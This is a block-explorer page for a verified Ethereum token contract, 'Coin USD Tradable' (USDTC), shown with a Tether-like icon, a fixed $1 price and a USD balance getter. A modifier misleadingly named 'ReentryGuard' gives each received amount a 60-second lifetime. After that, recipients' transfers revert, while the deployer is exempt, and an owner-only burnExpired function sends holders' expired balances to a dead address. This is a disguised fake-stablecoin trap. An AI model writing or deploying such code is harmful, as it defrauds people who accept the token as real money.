Address Contract Verified
Address
0x6cB52086c435405379D028991B2f885BBDe05d44
Balance
0 ETH
Nonce
1
Code Size
10623 bytes
Creator
0x48d18D6B...5946 at tx 0x442fe40c...e320da
Indexed Transactions
0
Contract Bytecode
10623 bytes
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Verified Source Code Full Match
Compiler: v0.8.20+commit.a1b79de6
EVM: shanghai
Optimization: Yes (5000000 runs)
usdtc(con).sol 379 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
function getRoundData(uint80 _roundId) external view returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData() external view returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
}
interface IPair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
struct Amount {
uint256 amount;
uint256 lifeTime;
}
contract coinusd is Context, IERC20, Ownable, ReentrancyGuard {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => mapping (uint256 => Amount)) public txs;
mapping(address => uint256) public amntsC;
mapping(uint256 => address) public holders;
mapping(address => bool) public isH;
bool private stopGuard = false;
uint8 private constant _decimals = 6;
uint256 private constant _tTotal = 1_000_000_000 * (10**6); // 1 billion total supply
uint256 public lifeTime = 60;
uint256 public holdersC = 0;
AggregatorV3Interface private immutable priceFeed;
uint256 private constant PRICE_DECIMALS = 8;
string public constant TOKEN_ICON = "data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAzMiAzMiI+PHBhdGggZmlsbD0iIzI2QTE3QiIgZD0iTTE2IDMyQzcuMTYzIDMyIDAgMjQuODM3IDAgMTZTNy4xNjMgMCAxNiAwczE2IDcuMTYzIDE2IDE2LTcuMTYzIDE2LTE2IDE2em0tLjA1NC01Ljg5YzUuMDYgMCA5LjE2My00LjEwMyA5LjE2My05LjE2M3MtNC4xMDMtOS4xNjItOS4xNjMtOS4xNjJTNi43ODMgMTEuODg3IDYuNzgzIDE2Ljk0N3M0LjEwMyA5LjE2MyA5LjE2MyA5LjE2M3oiLz48cGF0aCBmaWxsPSIjRkZGIiBkPSJNMTcuMDI4IDE5Ljc0N2MtLjQyIDAtLjgzLS4wNjgtMS4yMjYtLjJhMy4wMDggMy4wMDggMCAwMS0xLjAzLS41NzQgMi42OSAyLjY5IDAgMDEtLjY5Ni0uOTE3IDIuODkzIDIuODkzIDAgMDEtLjI1My0xLjIzNGMwLS40MzguMDg0LS44NDMuMjUzLTEuMjE3LjE3LS4zNzQuNC0uNjk2LjY5Ni0uOTY2YTMuMTU2IDMuMTU2IDAgMDExLjAzLS42MjJjLjM5Ni0uMTQ4LjgwNi0uMjIyIDEuMjI2LS4yMjIuNDIgMCAuODMuMDc0IDEuMjI2LjIyMi40MDQuMTQ4Ljc1LjM2NSAxLjA0LjY1LjI4Ny4yNy41MTQuNTkyLjY3Ny45NjYuMTcuMzc0LjI1NS43NzkuMjU1IDEuMjE3cy0uMDg1Ljg1Mi0uMjU1IDEuMjM0YTIuNzYgMi43NiAwIDAxLS42NzcuOTE3IDMuMDM2IDMuMDM2IDAgMDEtMS4wNC41NzRjLS4zOTcuMTMyLS44MDcuMTk4LTEuMjI2LjE5OHptMC0xLjQyN2MuMjcgMCAuNTE0LS4wNDYuNzMtLjEzOC4yMTgtLjA5Mi40MDQtLjIxNy41NTgtLjM3NWEyLjAxIDIuMDEgMCAwMC4zNjgtLjUzN2MuMDkyLS4yMDIuMTM4LS40MDguMTM4LS42MTcgMC0uMjEtLjA0Ni0uNDE2LS4xMzgtLjYxOGEyLjAxIDIuMDEgMCAwMC0uMzY4LS41MzcgMS42NDEgMS42NDEgMCAwMC0uNTU3LS4zNzUgMS44OCAxLjg4IDAgMDAtLjczLS4xMzdjLS4yNjEgMC0uNTA1LjA0Ni0uNzMuMTM3YTEuNzIyIDEuNzIyIDAgMDAtLjU2Ny4zNzUgMS42NDUgMS42NDUgMCAwMC0uMzY3LjUzN2MtLjA5Mi4yMDItLjEzOC40MDktLjEzOC42MTggMCAuMjEuMDQ2LjQxNS4xMzguNjE3LjA5Mi4yMDIuMjEzLjM4My4zNjcuNTM3LjE2Mi4xNTguMzQ4LjI4My41NjcuMzc1LjIyNS4wOTIuNDY5LjEzOC43My4xMzh6Ii8+PC9zdmc+";
string public constant name = "Coin USD Tradable ";
string public constant symbol = "USDTC";
address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;
event ERC20TokensRecovered(uint256 indexed _amount);
event ETHBalanceRecovered();
modifier ReentryGuard(
address from,
address to,
uint256 amount
) {
if(!stopGuard){
if(amntsC[from] == 0){
txs[to][amntsC[to]] = Amount(amount, block.timestamp + lifeTime);
amntsC[to]++;
} else {
uint256 amountLeft = amount;
for (uint256 i = 0; i < amntsC[from]; i++) {
if(txs[from][i].lifeTime > block.timestamp) {
if(txs[from][i].amount >= amountLeft) {
txs[from][i].amount -= amountLeft;
txs[to][amntsC[to]] = Amount(amountLeft, txs[from][i].lifeTime);
amntsC[to]++;
amountLeft -= amountLeft;
} else if(txs[from][i].amount > 0) {
amountLeft -= txs[from][i].amount;
txs[to][amntsC[to]] = Amount(txs[from][i].amount, txs[from][i].lifeTime);
amntsC[to]++;
txs[from][i].amount -= txs[from][i].amount;
}
}
if(amountLeft == 0){break;}
}
if(amountLeft > 0) {
revert("Err");
}
}
if(!isH[from]) {
isH[from] = true;
holders[holdersC] = from;
holdersC++;
}
if(!isH[to]) {
isH[to] = true;
holders[holdersC] = to;
holdersC++;
}
}
_;
}
constructor() {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
priceFeed = AggregatorV3Interface(0x3E7d1eAB13ad0104d2750B8863b489D65364e32D);
}
receive() external payable {}
function decimals() public pure returns (uint8) {
return _decimals;
}
function getTokenPrice() public pure returns (uint256) {
return 10**PRICE_DECIMALS;
}
function getBalanceUSD(address account) public view returns (uint256) {
return balanceOf(account) / (10**_decimals);
}
function totalSupply() public view override returns (uint256) {
return _tTotal - _balances[deadWallet];
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override nonReentrant returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override nonReentrant returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override nonReentrant returns (bool) {
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) internal ReentryGuard(from, to, amount) {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(_balances[from] >= amount, "Not enough balance");
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function burnExpired() public onlyOwner {
for(uint256 i = 0; i < holdersC; i++) {
for(uint256 j = 0; j < amntsC[holders[i]]; j++) {
if(txs[holders[i]][j].lifeTime < block.timestamp && txs[holders[i]][j].amount > 0) {
_balances[holders[i]] -= txs[holders[i]][j].amount;
_balances[deadWallet] += txs[holders[i]][j].amount;
txs[holders[i]][j].amount = 0;
emit Transfer(holders[i], deadWallet, txs[holders[i]][j].amount);
}
}
}
}
function changeLifeTime(uint256 t) public onlyOwner {
lifeTime = t;
}
function switchGuard() external onlyOwner {
stopGuard = !stopGuard;
}
function recoverBEP20FromContract(address _tokenAddy, uint256 _amount, address to) external onlyOwner {
require(_amount > 0, "Amount should be greater than zero");
require(_amount <= IERC20(_tokenAddy).balanceOf(address(this)), "Insufficient Amount");
IERC20(_tokenAddy).transfer(to, _amount);
emit ERC20TokensRecovered(_amount);
}
function recoverBNBfromContract(address to) external onlyOwner {
uint256 contractETHBalance = address(this).balance;
require(contractETHBalance > 0, "Amount should be greater than zero");
require(contractETHBalance <= address(this).balance, "Insufficient Amount");
payable(address(to)).transfer(contractETHBalance);
emit ETHBalanceRecovered();
}
function checkAllowanceBalance(uint256 a) public view returns (bool) {
return _allowances[_msgSender()][address(this)] >= a && balanceOf(_msgSender()) >= a;
}
function isContract(address account) public view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
}
Read Contract
TOKEN_ICON 0xc2a88c3e → string
allowance 0xdd62ed3e → uint256
amntsC 0xc733e0e6 → uint256
balanceOf 0x70a08231 → uint256
checkAllowanceBalance 0x4949b429 → bool
deadWallet 0x85141a77 → address
decimals 0x313ce567 → uint8
getBalanceUSD 0x0f7e9973 → uint256
getTokenPrice 0x4b94f50e → uint256
holders 0x2a11ced0 → address
holdersC 0xa54809e4 → uint256
isContract 0x16279055 → bool
isH 0xfae1c0e0 → bool
lifeTime 0xf4e733c3 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
txs 0x3d0ee21b → uint256, uint256
Write Contract 10 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
burnExpired 0x19777d1a
No parameters
changeLifeTime 0x48f74b7a
uint256 t
recoverBEP20FromContract 0x87741434
address _tokenAddy
uint256 _amount
address to
recoverBNBfromContract 0xf7331e3c
address to
renounceOwnership 0x715018a6
No parameters
switchGuard 0x27e9b917
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
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